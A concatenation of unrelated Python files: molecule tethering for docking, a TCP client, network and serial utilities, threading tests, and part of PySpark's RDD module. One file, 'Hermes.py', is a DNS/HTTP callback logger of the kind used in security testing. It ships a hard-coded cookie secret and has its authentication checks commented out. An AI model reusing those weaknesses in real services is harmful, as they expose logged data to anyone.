:param atoms_to_switch: The points of substitution
:return:
"""
global num_swap_success
chiral_targets = []
chiral_centers = Chem.FindMolChiralCenters(mol, force=True, includeUnassigned=True)
print(' Chiral centers:', chiral_centers, 'Free atom counts:', free_counts)
for i, cc in enumerate(chiral_centers):
if cc[1] == '?': # only enumerate if the stereo is undefined
if free_counts[i] > 1: # only enumerate if there are at least 2 free atoms
chiral_targets.append(cc[0])
if chiral_targets:
mols_to_embed = []
mol_cw = Chem.RWMol(mol)
mol_cw.GetAtomWithIdx(chiral_targets[0]).SetChiralTag(Chem.ChiralType.CHI_TETRAHEDRAL_CW)
mols_to_embed.append(mol_cw)
mol_ccw = Chem.RWMol(mol)
mol_ccw.GetAtomWithIdx(chiral_targets[0]).SetChiralTag(Chem.ChiralType.CHI_TETRAHEDRAL_CCW)
mols_to_embed.append(mol_ccw)
for j in range(1, len(chiral_targets)):
new_enum_mols = []
for m in mols_to_embed:
nm1 = Chem.RWMol(m)
nm1.GetAtomWithIdx(chiral_targets[j]).SetChiralTag(Chem.ChiralType.CHI_TETRAHEDRAL_CW)
new_enum_mols.append(nm1)
nm2 = Chem.RWMol(m)
nm2.GetAtomWithIdx(chiral_targets[j]).SetChiralTag(Chem.ChiralType.CHI_TETRAHEDRAL_CCW)
new_enum_mols.append(nm2)
mols_to_embed = new_enum_mols
num_swap_success += len(mols_to_embed)
else:
mols_to_embed = [Chem.RWMol(mol)]
print(' Mols to embed:', len(mols_to_embed))
return mols_to_embed
def minimize_mol(mol, target, molMatch, targetMatch, algMap, getForceField):
ff = getForceField(mol, confId=-1)
conf = target.GetConformer()
for i, atIdx in enumerate(targetMatch):
p = conf.GetAtomPosition(atIdx)
pIdx = ff.AddExtraPoint(p.x, p.y, p.z, fixed=True) - 1
ff.AddDistanceConstraint(pIdx, molMatch[i], 0, 0, 100.0)
ff.Initialize()
n = 4
more = ff.Minimize(energyTol=1e-4, forceTol=1e-3)
while more and n:
more = ff.Minimize(energyTol=1e-4, forceTol=1e-3)
n -= 1
# realign
rms = AlignMol(mol, target, atomMap=algMap)
mol.SetDoubleProp('EmbedRMS', rms)
def find_best_mcs(hit, mol):
best_score = 0
mcs = rdFMCS.FindMCS([hit, mol], completeRingsOnly=True, ringMatchesRingOnly=True,
atomCompare=rdFMCS.AtomCompare.CompareElements, bondCompare=rdFMCS.BondCompare.CompareOrder)
score = score_mcs(hit, mol, mcs)
if score > best_score:
best_score = score
best_mcs = mcs
best_index = 1
mcs = rdFMCS.FindMCS([hit, mol], completeRingsOnly=True, ringMatchesRingOnly=False,
atomCompare=rdFMCS.AtomCompare.CompareElements, bondCompare=rdFMCS.BondCompare.CompareOrder)
score = score_mcs(hit, mol, mcs)
if score > best_score:
best_score = score
best_mcs = mcs
best_index = 2
mcs = rdFMCS.FindMCS([hit, mol], completeRingsOnly=False, ringMatchesRingOnly=True,
atomCompare=rdFMCS.AtomCompare.CompareElements, bondCompare=rdFMCS.BondCompare.CompareOrder)
score = score_mcs(hit, mol, mcs)
if score > best_score:
best_score = score
best_mcs = mcs
best_index = 3
mcs = rdFMCS.FindMCS([hit, mol], completeRingsOnly=False, ringMatchesRingOnly=False,
atomCompare=rdFMCS.AtomCompare.CompareElements, bondCompare=rdFMCS.BondCompare.CompareOrder)
score = score_mcs(hit, mol, mcs)
if score > best_score:
best_score = score
best_mcs = mcs
best_index = 4
mcs = rdFMCS.FindMCS([hit, mol], completeRingsOnly=True, ringMatchesRingOnly=True,
atomCompare=rdFMCS.AtomCompare.CompareAny, bondCompare=rdFMCS.BondCompare.CompareAny)
score = score_mcs(hit, mol, mcs)
if score > best_score:
best_score = score
best_mcs = mcs
best_index = 5
mcs = rdFMCS.FindMCS([hit, mol], completeRingsOnly=True, ringMatchesRingOnly=False,
atomCompare=rdFMCS.AtomCompare.CompareAny, bondCompare=rdFMCS.BondCompare.CompareAny)
score = score_mcs(hit, mol, mcs)
if score > best_score:
best_score = score
best_mcs = mcs
best_index = 6
mcs = rdFMCS.FindMCS([hit, mol], completeRingsOnly=False, ringMatchesRingOnly=True,
atomCompare=rdFMCS.AtomCompare.CompareAny, bondCompare=rdFMCS.BondCompare.CompareAny)
score = score_mcs(hit, mol, mcs)
if score > best_score:
best_score = score
best_mcs = mcs
best_index = 7
mcs = rdFMCS.FindMCS([hit, mol], completeRingsOnly=False, ringMatchesRingOnly=False,
atomCompare=rdFMCS.AtomCompare.CompareAny, bondCompare=rdFMCS.BondCompare.CompareAny)
score = score_mcs(hit, mol, mcs)
if score > best_score:
best_score = score
best_mcs = mcs
best_index = 8
print(" Best MCS is", best_index, 'with score', best_score)
return best_mcs
def score_mcs(hit, mol, mcs):
smartsMol = Chem.MolFromSmarts(mcs.smartsString)
hitMatches = hit.GetSubstructMatch(smartsMol)
molMatches = mol.GetSubstructMatch(smartsMol)
# print(' Matches:', hitMatches, molMatches)
score = 0
for hitMatch, molMatch in zip(hitMatches, molMatches):
score += 1
if hit.GetAtomWithIdx(hitMatch).GetAtomicNum() == mol.GetAtomWithIdx(molMatch).GetAtomicNum():
score += 1
if mol.GetAtomWithIdx(molMatch).IsInRing():
score += 1
print(' Score:', score)
return score
def execute(smi, hit_molfile, outfile_base, min_ph=None, max_ph=None, max_inputs=0, max_outputs=0, modulus=0, timout_embed_secs=5):
global write_count
GetFF=lambda x,confId=-1:AllChem.MMFFGetMoleculeForceField(x,AllChem.MMFFGetMoleculeProperties(x),confId=confId)
hit = Chem.MolFromMolFile(hit_molfile)
num_mols = 0
num_processed = 0
num_outputs = 0
num_errors = 0
complete_failures = 0
with open(smi, 'r') as fsmi:
for line in fsmi:
t0 = time.time()
smiles = line.strip()
if 0 < modulus and num_mols % modulus != 0:
num_mols += 1
continue
if 0 < max_inputs <= num_mols:
break
if 0 < max_outputs <= num_processed:
break
num_mols += 1
num_processed += 1
num_added = 0
w = get_writer(outfile_base)
print('Processing', num_mols, num_processed, smiles, Chem.MolToSmiles(hit))
try:
mol = Chem.MolFromSmiles(smiles)
if min_ph and max_ph:
enumerated_mols = enumerate_charges(mol, min_ph, max_ph)
print(' Enumerated', len(enumerated_mols), [Chem.MolToSmiles(x) for x in enumerated_mols])
else:
enumerated_mols = [mol]
mcs0 = rdFMCS.FindMCS([hit, mol], completeRingsOnly=False, ringMatchesRingOnly=False,
atomCompare=rdFMCS.AtomCompare.CompareAny, bondCompare=rdFMCS.BondCompare.CompareAny)
# mcs0 = rdFMCS.FindMCS([hit, mol], completeRingsOnly=False, ringMatchesRingOnly=False)
# score_mcs(hit, mol, mcs0)
# mcs0 = find_best_mcs(hit, mol)
mcsQuery = Chem.MolFromSmarts(mcs0.smartsString)
count = 0
for ligand in enumerated_mols:
molh = Chem.AddHs(ligand)
# mol_match_tuple = MultiConstrainedEmbed(molh, queryMol, getForceField=GetFF)
mol_match_tuple = multi_constrained_embed(molh, hit, mcsQuery, timout_embed_secs=timout_embed_secs)
print(' ', len(mol_match_tuple), 'mols tethered')
for t_mol, match in mol_match_tuple:
count += 1
t_mol.SetProp('_Name', smiles)
t_mol.SetIntProp('Index', count)
if hit.HasProp('_Name'):
t_mol.SetProp('Hit', hit.GetProp('_Name'))
else:
t_mol.SetProp('Hit', hit_molfile[:-4])
tethers = ','.join([str(x + 1) for x in match])
t_mol.SetProp('TETHERED ATOMS', tethers)
# print(' Tethers: ', tethers)
w.write(t_mol)
write_count += 1
num_outputs += 1
num_added += 1
except Exception as e:
num_errors += 1
print(' Error: ', smiles, e)
traceback.print_exc()
t1 = time.time()
print(' processed mol', num_processed, 'in', t1-t0, 'secs. Generated', num_added, 'mols')
if num_added == 0:
embedding_failures_file.write(line)
embedding_failures_file.flush()
complete_failures += 1
w.close()
print('Totals - inputs:', num_mols, 'processed:', num_processed, 'outputs:', num_outputs, 'chiral swaps:', num_swap_success, 'errors:', num_errors, 'embed failures:', embedding_failures, 'failures:', complete_failures, 'files:', file_count + 1)
def main():
"""
Example usage:
python -m pipelines.xchem.prepare_tether_2 --smi ../../data/mpro/Mpro-x0387_0.smi --mol ../../data/mpro/Mpro-x0387_0.mol -o TETHERED --max-inputs 500 --chunk-size 100
:return:
"""
global chunk_size
global embedding_failures_file
# Suppress basic RDKit logging...
RDLogger.logger().setLevel(RDLogger.ERROR)
print('RDKit version:', rdBase.rdkitVersion)
parser = argparse.ArgumentParser(description='Tether prep - prepare candidates for docking')
parser.add_argument('--smi', help='SMILES containing the expanded candidates for a hit)')
parser.add_argument('--mol', help='Molfile containing the hit to tether to)')
parser.add_argument('-o', '--outfile', default='Tethered', help='Base name for results SDF file (will generate something like Tethered_Mpro-x0072_000.sdf)')
parser.add_argument('--min-ph', type=float, help='The min pH to consider')
parser.add_argument('--max-ph', type=float, help='The max pH to consider')
parser.add_argument('-c', '--chunk-size', type=int, default=200, help='Chunk size for files')
parser.add_argument('--max-inputs', type=int, default=0, help='Max number of molecules to process')
parser.add_argument('--max-outputs', type=int, default=0, help='Max number of records to output')
parser.add_argument('--modulus', type=int, default=0, help='Process only mols with this modulus')
parser.add_argument('--timeout-embed', type=int, default=5, help='Timeout in seconds to apply to limit embedding')
args = parser.parse_args()
log("Tether prep args: ", args)
chunk_size = args.chunk_size
min_ph = args.min_ph
max_ph = args.max_ph
smi = args.smi
mol = args.mol
outfile = args.outfile
max_inputs = args.max_inputs
max_outputs = args.max_outputs
modulus = args.modulus
timout_embed_secs = args.timeout_embed
embedding_failures_file = open(outfile + '_embedding_failures.smi', 'w')
# Dimporphite needs to use argparse with its own arguments, not messed up with our arguments
# so we store the original args
orig_sys_argv = sys.argv[:]
# Remove all the parameters, keeping only the filename (first one) so that
# dimorphite is unaware of any previous commandline parameters.
sys.argv = sys.argv[:1]
execute(smi, mol, outfile, min_ph=min_ph, max_ph=max_ph,
max_inputs=max_inputs, max_outputs=max_outputs, modulus=modulus, timout_embed_secs=timout_embed_secs)
embedding_failures_file.close()
print('Finished')
if __name__ == "__main__":
main()
|
TcpClientService.py | from __future__ import annotations
from logging import getLogger
from socket import AF_INET, SOCK_STREAM
from threading import Thread
from typing import Optional, Tuple
from ..clock import IClock
from ..constants import buffer_size
from ..log.util import log_method_call
from ..receive import IReceiveListener
from ..reliable import IReliableReceiveListener, IReliableReceiveSendService, IReliableConnectListener
from ..reliable import IReliableDisconnectListener, IReliableOsErrorListener
from ..service import IService, IServiceManager
from ..socket_ import ISocket, ISocketFactory
from ..util import checking
from ..util.ConnectionDetails import ConnectionDetails
from ..util.InterruptableSleep import InterruptableSleep
from ..util.Listeners import Listeners
from ..util.Placeholder import Placeholder
class TcpClientService(IService, IReliableReceiveSendService):
def __init__(
self,
clock: IClock,
reconnect_seconds: float,
server_address: Placeholder[Tuple[str, int]],
service_manager: IServiceManager,
socket_factory: ISocketFactory,
) -> None:
self.connected_listeners: Listeners[IReliableConnectListener] = Listeners()
self.disconnected_listeners: Listeners[IReliableDisconnectListener] = Listeners()
self.interruptable_sleep = InterruptableSleep(clock)
self.logger = getLogger(__name__)
self.os_error_listeners: Listeners[IReliableOsErrorListener] = Listeners()
self.received_listeners: Listeners[IReceiveListener] = Listeners()
self.reconnect_seconds = reconnect_seconds
self.reliable_received_listeners: Listeners[IReliableReceiveListener] = Listeners()
self.server_address = server_address
self.service_manager = service_manager
self.should_run = True
self.socket: Placeholder[ISocket] = Placeholder()
self.socket_factory = socket_factory
self.thread = Thread(target=log_method_call(self.logger, self.run))
service_manager.add_service(self)
def add_reliable_connect_listener(self, listener: IReliableConnectListener) -> TcpClientService:
self.connected_listeners.add_listener(listener)
return self
def add_reliable_disconnect_listener(self, listener: IReliableDisconnectListener) -> TcpClientService:
self.disconnected_listeners.add_listener(listener)
return self
def add_reliable_os_error_listener(self, listener: IReliableOsErrorListener) -> TcpClientService:
self.os_error_listeners.add_listener(listener)
return self
def add_receive_listener(self, listener: IReceiveListener) -> TcpClientService:
self.received_listeners.add_listener(listener)
return self
def add_reliable_receive_listener(
self,
listener: IReliableReceiveListener
) -> TcpClientService:
self.reliable_received_listeners.add_listener(listener)
return self
def get_service_name(self) -> str:
return __name__
def get_own_address(self) -> Tuple[str, int]:
return self.socket.get().getsockname()
def join_service(self, timeout_seconds: Optional[float] = None) -> bool:
self.thread.join(timeout_seconds)
return self.thread.is_alive()
def run_with_server_address(self, server_address: Tuple[str, int]) -> None:
while self.should_run:
try:
with self.socket.set(self.socket_factory.socket(AF_INET, SOCK_STREAM)) as socket:
socket.connect(server_address)
connection_details = ConnectionDetails(socket.getsockname(), server_address)
self.connected_listeners.for_each(
lambda listener: listener.on_reliable_connect(connection_details))
try:
while self.should_run:
message = socket.recv(buffer_size)
if len(message) == 0: # ... means that peer has gracefully shutdown connection
break
self.received_listeners.for_each(
lambda listener: listener.on_receive(message, connection_details))
self.reliable_received_listeners.for_each(
lambda listener: listener.on_reliable_receive(message, connection_details))
finally:
self.disconnected_listeners.for_each(
lambda listener: listener.on_reliable_disconnect(connection_details))
except OSError as os_error:
# Is thrown if connection could not be established or got lost
self.os_error_listeners.for_each(lambda listener: listener.on_reliable_os_error(os_error))
if self.should_run:
self.socket.clear()
self.interruptable_sleep.sleep(self.reconnect_seconds)
def run(self) -> None:
server_address = self.server_address.get_eventually(self.service_manager).get_blocking()
if server_address is not None:
self.run_with_server_address(server_address)
def send(self, message: bytes) -> None:
checking.check_message_length(len(message))
self.socket.get().sendall(message)
def start_service(self) -> None:
self.thread.start()
def stop_service(self) -> None:
self.should_run = False
self.interruptable_sleep.interrupt()
socket = self.socket.get_optional_and_clear()
if socket is not None:
socket.shutdown_guaranteed(
lambda os_error: self.logger.info(
'TCP socket was already shutdown or connection was never established.'))
|
Hermes.py | #!/usr/bin/python
# coding: utf-8
# __author__ jax777
import os
import cgi
import json
import urllib
import hashlib
import datetime
import tornado.ioloop
import tornado.web
import traceback
from tornado.escape import json_decode
from multiprocessing import Process
from sqllitedb import *
from DnsServer import dns_server
from config import datadb
from config import mydomain
from config import tz
class BaseHandler(tornado.web.RequestHandler):
def get_current_user(self):
print self.get_secure_cookie("prefix")
return self.get_secure_cookie("prefix")
class login(tornado.web.RequestHandler):
# 页面跳转 /#/info
def get(self):
pass
def post(self):
data = json_decode(self.request.body)
mail = data['mail']
passwd = data['passwd']
try:
prefix = db_login(mail,passwd)
if prefix == 1:
self.write("0")
else:
self.set_secure_cookie("prefix", prefix)
self.write("1")
except Exception,e:
traceback.print_exc()
self.write("0")
class getDomain(tornado.web.RequestHandler):
# @tornado.web.authenticated
def get(self):
prefix = self.get_secure_cookie("prefix")
#print prefix
if prefix:
domains = get_domains(prefix)
# hash domain stime
ret = []
#print domains
for tmp in domains:
httpcount = get_http_count(tmp['hash'])
dnscount = get_dns_count(tmp['hash'])
_ = {'hash': tmp['hash'],'domain':tmp['domain'],'http':httpcount,'dns':dnscount,'time':tmp['stime']}
ret.append(_)
self.write(json.dumps(ret))
else:
self.write("0")
class showHttp(tornado.web.RequestHandler):
# @tornado.web.authenticated
def get(self,hash):
http = get_http_info(hash)
info = ''
for tmp in http:
url = urllib.unquote(tmp['url'])
info = info + url + 'user-agent:'+ tmp['ua'] + ' srcip:' + tmp['srcip'] + ' time:' + tmp['time'] + '\n'
info = cgi.escape(info)
# write base64 txt
self.write(info)
class showDns(tornado.web.RequestHandler):
# @tornado.web.authenticated
def get(self,hash):
dns = get_dns_info(hash)
info = ''
for tmp in dns:
info = info + 'domain:' + tmp['domain'] + ' srcip:' + tmp['srcip'] + ' time:' + tmp['time'] + '\n'
info = cgi.escape(info)
self.write(info)
class deletDomain(tornado.web.RequestHandler):
# @tornado.web.authenticated
def get(self,hash):
delet_domain(hash)
self.write('1')
class deletALL(tornado.web.RequestHandler):
# @tornado.web.authenticated
def get(self):
self.write("1")
class index(tornado.web.RequestHandler):
def get(self):
self.render('index.html')
def ui():
settings = {
"static_path": os.path.join(os.path.dirname(__file__), "static"),
"login_url": "/#/",
"cookie_secret":"tw51dk+wR3iErYBKKKpFwHF20ppWjUBHut3b1cCoWmw="
}
return tornado.web.Application([
(r"/login", login),
(r"/getDomain", getDomain),
(r"/showHttp/([0-9a-z]{32})", showHttp),
(r"/showDns/([0-9a-z]{32})", showDns),
(r"/deletDomain/([0-9a-z]{32})", deletDomain),
(r"/deletAll", deletALL),
(r"/", index),
], **settings)
class http_handler(tornado.web.RequestHandler):
def get(self):
url = self.request.protocol + "://" + self.request.host + self.request.uri
url = urllib.quote(url)
srcip = self.request.remote_ip
ua = ''
hash = hashlib.new('md5', self.request.host).hexdigest()
stime = datetime.datetime.now(tz).strftime( '%Y-%m-%d %H:%M:%S' )
try:
if mydomain in self.request.host:
prefix = self.request.host.split('.')[-3]
judge_domain(hash,self.request.host,prefix,stime)
except Exception,e:
traceback.print_exc()
#id = """"""
try:
ua = self.request.headers["User-Agent"]
except:
pass
update_http(hash,url,ua,srcip,stime)
self.write("hello moto")
def http_log():
return tornado.web.Application([
(r".*", http_handler),
])
if __name__ == "__main__":
if os.path.exists(datadb):
pass
else:
create_db()
UI = ui()
UI.listen(8888)
print 'UI done'
p_dns = Process(target=dns_server, args=())
p_dns.start()
print 'dns done'
http_server = http_log()
http_server.listen(80)
print 'http done'
tornado.ioloop.IOLoop.current().start() |
main.py | from beamngpy import BeamNGpy
beamng_user_path = "G:\\gitrepos\\BeamNG_user_path"
beamng_install_path = "G:\\gitrepos\\beamng-research_unlimited\\trunk"
parallel = True
def create_instance(i: int) -> BeamNGpy:
from beamngpy import Scenario, Vehicle
bng = BeamNGpy("localhost", 64523 + i * 100, home=beamng_install_path, user=beamng_user_path)
scenario = Scenario("smallgrid", "Instance_" + str(i), authors="Stefan Huber",
description="Check execution of multiple BeamNG instances simultaneously.")
ego_vehicle = Vehicle('ego_vehicle', model='etk800', licence='EGO')
scenario.add_vehicle(ego_vehicle)
scenario.make(bng)
bng.open()
bng.load_scenario(scenario)
bng.start_scenario()
bng.hide_hud()
ego_vehicle.control(parkingbrake=0, throttle=1.0)
return bng
def main() -> None:
from multiprocessing import Process
instances = []
try:
for i in range(1, 3):
if parallel:
process = Process(target=create_instance, args=(i,))
process.start()
else:
instances.append(create_instance(i))
input("Press enter to stop all instances...")
finally:
for i in instances:
i.close()
if __name__ == "__main__":
main()
|
clock.py | from apscheduler.schedulers.blocking import BlockingScheduler
import predict
import threading
sched = BlockingScheduler()
@sched.scheduled_job('cron', day='*')
def scheduled_job():
thread1 = threading.Thread(target=predict.refresh, args=('confirmed',))
thread1.start()
# thread2 = threading.Thread(target=predict.refresh, args=('deaths',))
# thread2.start()
# thread3 = threading.Thread(target=predict.refresh, args=('recovered',))
# thread3.start()
thread4 = threading.Thread(target=predict.refresh, args=('curr_confirmed',))
thread4.start()
# thread5 = threading.Thread(target=predict.refresh, args=('curr_deaths',))
# thread5.start()
# thread6 = threading.Thread(target=predict.refresh, args=('curr_recovered',))
# thread6.start()
return "Successfully started refreshing data and predictions."
sched.start()
|
test_threadswitch.py | # ThreadSwitch Unit Test
# Copyright (c) Kiruse 2021. See license in LICENSE.
# TODO: Test thread-bound resources simulating libraries and interfaces like sqlite3
from __future__ import annotations
from threading import Thread
from threadswitch import *
from time import sleep, time
from typing import *
import pytest
class StringBuffer:
def __init__(self, initial: str = ''):
self.value = initial
def write(self, msg: str):
self.value += msg
return self
def writeline(self, msg: str):
return self.write(msg + '\n')
def read(self, n: int = -1) -> str:
if n < 0:
ret, self.value = self.value, ''
return ret
ret, self.value = self.value[:n], self.value[n:]
return ret
def readline(self) -> str:
return self.read()
def clear(self) -> StringBuffer:
self.value = ''
return self
class WrappedThread:
def __init__(self, target: Callable):
def cbwrap():
self.result = target()
self.thread = Thread(target=cbwrap)
self.task: Optional[Task] = None
self.result = None
def start(self) -> WrappedThread:
self.thread.start()
return self
def join(self):
self.thread.join()
if self.task:
self.task.join()
@staticmethod
def wrap(*cbs: Callable):
return WrappedThreadCollection([WrappedThread(target=cb) for cb in cbs])
class WrappedThreadCollection:
def __init__(self, threads: Sequence[WrappedThread]):
self.threads = threads
def startall(self) -> WrappedThreadCollection:
for thread in self.threads:
thread.start()
return self
def joinall(self) -> WrappedThreadCollection:
for thread in self.threads:
thread.join()
return self
def __getitem__(self, idx: int) -> WrappedThread:
return self.threads[idx]
class TestPersistentContext:
def test_threaded(self):
with PersistentContext() as ctx:
buff.clear()
read = ctx.task(buff.read)
write = ctx.task(buff.write)
impl_threaded_textio(read, write)
@pytest.mark.asyncio
async def test_asyncio(self):
with PersistentContext() as ctx:
buff.clear()
read = ctx.task(buff.read)
write = ctx.task(buff.write)
write('420')
write(' 69')
await write('\n')
assert buff.value == '420 69\n'
assert await read(3) == '420'
assert await read(4) == ' 69\n'
class TestRebootContext:
def test_threaded(self):
buff.clear()
ctx = RebootContext(.5)
read = ctx.task(buff.read)
write = ctx.task(buff.write)
impl_threaded_textio(read, write)
@pytest.mark.asyncio
async def test_asyncio(self):
buff.clear()
ctx = RebootContext(.5)
read = ctx.task(buff.read)
write = ctx.task(buff.write)
write('420')
write(' 69')
await write('\n')
assert buff.value == '420 69\n'
assert await read(3) == '420'
assert await read(4) == ' 69\n'
def test_reboot(self):
buff.clear()
ctx = RebootContext(.5)
read = ctx.task(buff.read)
write = ctx.task(buff.write)
write('420').join()
assert ctx.isrunning()
sleep(.6)
assert not ctx.isrunning()
write(' 69\n').join()
assert ctx.isrunning()
sleep(.1)
assert ctx.isrunning()
assert read(3).result() == '420'
sleep(.6)
assert not ctx.isrunning()
assert read(4).result() == ' 69\n'
assert ctx.isrunning()
def impl_threaded_textio(read: Callable[[int], Task[str]], write: Callable[[str], Task]):
t0 = time()
def writer1():
sleep(.1)
write("420").join()
def writer2():
sleep(.2)
write(" 69").join()
def writer3():
sleep(.3)
write('\n').join()
threads = WrappedThread.wrap(writer1, writer2, writer3).startall()
dt1 = time()-t0
assert dt1 < 0.1
threads.joinall()
dt2 = time()-t0
assert dt1<dt2-dt1*0.9 # Should take considerably longer
assert buff.value == "420 69\n"
def reader1():
sleep(.1)
return read(3).result()
def reader2():
sleep(.2)
return read(4).result()
t0 = time()
threads = WrappedThread.wrap(reader1, reader2).startall()
dt1 = time()-t0
assert dt1 < 0.1
threads.joinall()
dt2 = time()-t0
assert dt1<dt2-dt1*0.9 # Should take considerably longer
assert threads[0].result == '420'
assert threads[1].result == ' 69\n'
buff = StringBuffer() |
helper_tools.py | #!/usr/bin/env python
import threading
import time
from motes import motes
import moteconfig
import sensor_data
import configuration
import data_utils
isListening = False
listenThread = None
selectedMote = None
# Process mote data if available
def processMote(m):
length = m.tryRead(binaryToo = moteconfig.instance.configMode)
if length == 0:
return
if moteconfig.instance.configMode:
for c in m.buffer:
moteconfig.instance.byteRead(c)
m.buffer = ""
return
while '\n' in m.buffer:
pos = m.buffer.find('\n')
if pos != 0:
newString = m.buffer[:pos].strip()
saveToDB = configuration.c.getCfgValue("saveToDB")
sendToOpenSense = configuration.c.getCfgValue("sendToOpenSense")
if saveToDB or sendToOpenSense:
data_utils.maybeAddDataToDatabase(m.port.port, newString)
# print "got", newString
sensor_data.moteData.addNewData(newString, m.port.portstr)
m.buffer = m.buffer[pos + 1:]
# Listen to all selected motes
def listenSerial():
global isListening
while isListening:
for m in motes.getMotes():
processMote(m)
sensor_data.moteData.fixSizes()
# pause for a bit
time.sleep(0.01)
# Listen to single selected mote
def listenSerialSingle():
global isListening
global selectedMote
while isListening:
processMote(selectedMote)
sensor_data.moteData.fixSizes()
# pause for a bit
time.sleep(0.01)
# Open all serial ports to listen for data
def openAllSerial():
global isListening
global listenThread
if isListening: return
isListening = True
listenThread = threading.Thread(target = listenSerial)
listenThread.start()
for m in motes.getMotes():
m.tryToOpenSerial(False)
# Open serial port for the selected mote to listen for data
def openMoteSerial(mote):
global isListening
global isListeningSingle
global listenThread
global selectedMote
if isListening: return
isListening = True
if mote.port != None:
selectedMote = mote
mote.tryToOpenSerial(False)
listenThread = threading.Thread(target = listenSerialSingle)
listenThread.start()
# Close all serial ports
def closeAllSerial():
global isListening
global listenThread
isListening = False
if listenThread:
listenThread.join()
listenThread = None
for m in motes.getMotes():
m.ensureSerialIsClosed() |
rdd.py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from base64 import standard_b64encode as b64enc
import copy
from collections import defaultdict
from collections import namedtuple
from itertools import chain, ifilter, imap
import operator
import os
import sys
import shlex
import traceback
from subprocess import Popen, PIPE
from tempfile import NamedTemporaryFile
from threading import Thread
import warnings
import heapq
from random import Random
from pyspark.serializers import NoOpSerializer, CartesianDeserializer, \
BatchedSerializer, CloudPickleSerializer, PairDeserializer, pack_long
from pyspark.join import python_join, python_left_outer_join, \
python_right_outer_join, python_cogroup
from pyspark.statcounter import StatCounter
from pyspark.rddsampler import RDDSampler
from pyspark.storagelevel import StorageLevel
from pyspark.resultiterable import ResultIterable
from py4j.java_collections import ListConverter, MapConverter
__all__ = ["RDD"]
def _extract_concise_traceback():
"""
This function returns the traceback info for a callsite, returns a dict
with function name, file name and line number
"""
tb = traceback.extract_stack()
callsite = namedtuple("Callsite", "function file linenum")
if len(tb) == 0:
return None
file, line, module, what = tb[len(tb) - 1]
sparkpath = os.path.dirname(file)
first_spark_frame = len(tb) - 1
for i in range(0, len(tb)):
file, line, fun, what = tb[i]
if file.startswith(sparkpath):
first_spark_frame = i
break
if first_spark_frame == 0:
file, line, fun, what = tb[0]
return callsite(function=fun, file=file, linenum=line)
sfile, sline, sfun, swhat = tb[first_spark_frame]
ufile, uline, ufun, uwhat = tb[first_spark_frame-1]
return callsite(function=sfun, file=ufile, linenum=uline)
_spark_stack_depth = 0
class _JavaStackTrace(object):
def __init__(self, sc):
tb = _extract_concise_traceback()
if tb is not None:
self._traceback = "%s at %s:%s" % (tb.function, tb.file, tb.linenum)
else:
self._traceback = "Error! Could not extract traceback info"
self._context = sc
def __enter__(self):
global _spark_stack_depth
if _spark_stack_depth == 0:
self._context._jsc.setCallSite(self._traceback)
_spark_stack_depth += 1
def __exit__(self, type, value, tb):
global _spark_stack_depth
_spark_stack_depth -= 1
if _spark_stack_depth == 0:
self._context._jsc.setCallSite(None)
class MaxHeapQ(object):
"""
An implementation of MaxHeap.
>>> import pyspark.rdd
>>> heap = pyspark.rdd.MaxHeapQ(5)
>>> [heap.insert(i) for i in range(10)]
[None, None, None, None, None, None, None, None, None, None]
>>> sorted(heap.getElements())
[0, 1, 2, 3, 4]
>>> heap = pyspark.rdd.MaxHeapQ(5)
>>> [heap.insert(i) for i in range(9, -1, -1)]
[None, None, None, None, None, None, None, None, None, None]
>>> sorted(heap.getElements())
[0, 1, 2, 3, 4]
>>> heap = pyspark.rdd.MaxHeapQ(1)
>>> [heap.insert(i) for i in range(9, -1, -1)]
[None, None, None, None, None, None, None, None, None, None]
>>> heap.getElements()
[0]
"""
def __init__(self, maxsize):
# we start from q[1], this makes calculating children as trivial as 2 * k
self.q = [0]
self.maxsize = maxsize
def _swim(self, k):
while (k > 1) and (self.q[k/2] < self.q[k]):
self._swap(k, k/2)
k = k/2
def _swap(self, i, j):
t = self.q[i]
self.q[i] = self.q[j]
self.q[j] = t
def _sink(self, k):
N = self.size()
while 2 * k <= N:
j = 2 * k
# Here we test if both children are greater than parent
# if not swap with larger one.
if j < N and self.q[j] < self.q[j + 1]:
j = j + 1
if(self.q[k] > self.q[j]):
break
self._swap(k, j)
k = j
def size(self):
return len(self.q) - 1
def insert(self, value):
if (self.size()) < self.maxsize:
self.q.append(value)
self._swim(self.size())
else:
self._replaceRoot(value)
def getElements(self):
return self.q[1:]
def _replaceRoot(self, value):
if(self.q[1] > value):
self.q[1] = value
self._sink(1)
class RDD(object):
"""
A Resilient Distributed Dataset (RDD), the basic abstraction in Spark.
Represents an immutable, partitioned collection of elements that can be
operated on in parallel.
"""
def __init__(self, jrdd, ctx, jrdd_deserializer):
self._jrdd = jrdd
self.is_cached = False
self.is_checkpointed = False
self.ctx = ctx
self._jrdd_deserializer = jrdd_deserializer
self._id = jrdd.id()
def id(self):
"""
A unique ID for this RDD (within its SparkContext).
"""
return self._id
def __repr__(self):
return self._jrdd.toString()
@property
def context(self):
"""
The L{SparkContext} that this RDD was created on.
"""
return self.ctx
def cache(self):
"""
Persist this RDD with the default storage level (C{MEMORY_ONLY}).
"""
self.is_cached = True
self._jrdd.cache()
return self
def persist(self, storageLevel):
"""
Set this RDD's storage level to persist its values across operations after the first time
it is computed. This can only be used to assign a new storage level if the RDD does not
have a storage level set yet.
"""
self.is_cached = True
javaStorageLevel = self.ctx._getJavaStorageLevel(storageLevel)
self._jrdd.persist(javaStorageLevel)
return self
def unpersist(self):
"""
Mark the RDD as non-persistent, and remove all blocks for it from memory and disk.
"""
self.is_cached = False
self._jrdd.unpersist()
return self
def checkpoint(self):
"""
Mark this RDD for checkpointing. It will be saved to a file inside the
checkpoint directory set with L{SparkContext.setCheckpointDir()} and
all references to its parent RDDs will be removed. This function must
be called before any job has been executed on this RDD. It is strongly
recommended that this RDD is persisted in memory, otherwise saving it
on a file will require recomputation.
"""
self.is_checkpointed = True
self._jrdd.rdd().checkpoint()
def isCheckpointed(self):
"""
Return whether this RDD has been checkpointed or not
"""
return self._jrdd.rdd().isCheckpointed()
def getCheckpointFile(self):
"""
Gets the name of the file to which this RDD was checkpointed
"""
